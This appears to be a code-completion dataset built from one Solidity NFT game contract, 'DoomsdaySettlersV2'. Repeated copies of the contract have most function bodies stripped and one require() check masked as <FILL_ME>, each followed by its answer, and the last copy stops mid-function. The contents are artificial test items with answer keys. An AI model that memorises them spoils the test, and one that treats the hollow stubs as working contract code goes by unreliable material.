// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { require(isDarkAge(),"dark age"); require(<FILL_ME>) uint256 eliminationWindow = (block.number % DISASTER_BLOCK_INTERVAL); if(eliminationWindow < 25){ require(msg.sender == ownerOf(_tokenId),"owner"); }else if(eliminationWindow < 50){ require(balanceOf[msg.sender] != 0,"balance"); } uint8 _type; bool _destroyed; uint minted = hashes.length; uint supply = minted - destroyed.length - abandoned; unchecked{ (_type, _destroyed) = IDoomsdaySettlersDarkAge(DARK_AGE).disaster(_tokenId, supply); } bool darkAgeOver = false; uint80 disaster_fee; if(_destroyed){ unchecked{ uint80 tokenFee = uint80((uint88(2363029719748390562045450) >> settlements[_tokenId].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); uint80 growth; if(_tokenId >= firstSettlement){ growth = uint80(minted - _tokenId); }else{ growth = uint80(minted - firstSettlement) + 1; } uint80 _relics = growth * tokenFee; relics += _relics/2 + settlements[_tokenId].relics + settlements[_tokenId].supplies + IDoomsdaySettlersDarkAge(DARK_AGE).getUnusedFees(_tokenId) * DAMAGE_FEE; destroyed.push(_tokenId); _burn(_tokenId); --supply; if(supply == 1){ _processWinner(_data); darkAgeOver = true; } } disaster_fee = DESTRUCTION_FEE; }else{ disaster_fee = DAMAGE_FEE; } emit Disaster(_tokenId,_type, _destroyed, darkAgeOver); payable(msg.sender).transfer(disaster_fee); } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
_isValidToken(_tokenId),"invalid"
435,512
_isValidToken(_tokenId)
"balance"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { require(isDarkAge(),"dark age"); require(_isValidToken(_tokenId),"invalid"); uint256 eliminationWindow = (block.number % DISASTER_BLOCK_INTERVAL); if(eliminationWindow < 25){ require(msg.sender == ownerOf(_tokenId),"owner"); }else if(eliminationWindow < 50){ require(<FILL_ME>) } uint8 _type; bool _destroyed; uint minted = hashes.length; uint supply = minted - destroyed.length - abandoned; unchecked{ (_type, _destroyed) = IDoomsdaySettlersDarkAge(DARK_AGE).disaster(_tokenId, supply); } bool darkAgeOver = false; uint80 disaster_fee; if(_destroyed){ unchecked{ uint80 tokenFee = uint80((uint88(2363029719748390562045450) >> settlements[_tokenId].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); uint80 growth; if(_tokenId >= firstSettlement){ growth = uint80(minted - _tokenId); }else{ growth = uint80(minted - firstSettlement) + 1; } uint80 _relics = growth * tokenFee; relics += _relics/2 + settlements[_tokenId].relics + settlements[_tokenId].supplies + IDoomsdaySettlersDarkAge(DARK_AGE).getUnusedFees(_tokenId) * DAMAGE_FEE; destroyed.push(_tokenId); _burn(_tokenId); --supply; if(supply == 1){ _processWinner(_data); darkAgeOver = true; } } disaster_fee = DESTRUCTION_FEE; }else{ disaster_fee = DAMAGE_FEE; } emit Disaster(_tokenId,_type, _destroyed, darkAgeOver); payable(msg.sender).transfer(disaster_fee); } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
balanceOf[msg.sender]!=0,"balance"
435,512
balanceOf[msg.sender]!=0
"invalid"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ require(<FILL_ME>) unchecked{ settlements[_winner].relics += relics; settlements[_winner].supplies += supplies; uint80 tokenFee = uint80((uint88(2363029719748390562045450) >> settlements[_winner].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); uint80 growth; if(_winner > firstSettlement){ growth = uint80(hashes.length) - uint80(_winner); }else{ growth = (uint80(hashes.length) - uint80(firstSettlement)) + 1; } uint80 _relics = growth * tokenFee; settlements[_winner].relics += _relics / 2; relics = 0; supplies = 0; mintFee = tokenFee; itIsTheDawnOfANewAge = true; } } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
_isValidToken(_winner),"invalid"
435,512
_isValidToken(_winner)
"vulnerable"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ unchecked{ require(msg.sender == ownerOf(_tokenId),"ownerOf"); bytes32 hash = hashes[_tokenId - 1]; uint80 growth; if(_tokenId >= firstSettlement){ growth = uint80(hashes.length - _tokenId); }else{ growth = uint80(hashes.length) - uint80(firstSettlement) + 1; } uint80 _relics; if(!itIsTheDawnOfANewAge){ _relics = growth * uint80((uint88(2363029719748390562045450) >> settlements[_tokenId].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); } bool _isDarkAge = isDarkAge(); if(_isDarkAge){ require(<FILL_ME>) _relics /= 2; uint80 __abandoned; uint80 __settled; if(age > 2){ ++__abandoned; ++__settled; } __abandoned += uint80(destroyed.length + abandoned) - (uint80(firstSettlement) - 1); __settled += uint80(hashes.length) - (uint80(firstSettlement) - 1); uint80 spoils = uint80(relics) / uint80(hashes.length - destroyed.length - abandoned) * (10_000_000_000 + ( 30_000_000_000 * __abandoned / __settled )) / 40_000_000_000; _relics += spoils; relics -= spoils; }else if(!itIsTheDawnOfANewAge){ relics -= _relics / 2; mintFee -= uint80((uint88(2363029719748390562045450) >> settlements[_tokenId].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); } ++abandoned; _relics += DESTRUCTION_FEE + IDoomsdaySettlersDarkAge(DARK_AGE).getUnusedFees(_tokenId) * DAMAGE_FEE + settlements[_tokenId].relics + settlements[_tokenId].supplies; _burn(_tokenId); if(_isDarkAge){ if(hashes.length - destroyed.length - abandoned == 1){ _processWinner(_data); } } emit Abandon( _tokenId, hash, growth, settlements[_tokenId].supplyAtMint, uint32(destroyed.length) + abandoned, mintFee, _relics, uint32(hashes.length), itIsTheDawnOfANewAge, uint32(block.number) ); return _relics; } } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
!IDoomsdaySettlersDarkAge(DARK_AGE).checkVulnerable(_tokenId),"vulnerable"
435,512
!IDoomsdaySettlersDarkAge(DARK_AGE).checkVulnerable(_tokenId)
"vulnerable"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { address _owner = ownerOf(_tokenId); if(isDarkAge()){ require(<FILL_ME>) } if(_from != msg.sender){ _noBlocked(msg.sender); } require ( _owner == msg.sender || allowance[_tokenId] == msg.sender || isApprovedForAll[_owner][msg.sender] ,"permission"); require(_owner == _from,"owner"); require(_to != address(0),"zero"); emit Transfer(_from, _to, _tokenId); owners[_tokenId] =_to; --balanceOf[_from]; ++balanceOf[_to]; if(allowance[_tokenId] != address(0)){ delete allowance[_tokenId]; } } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { 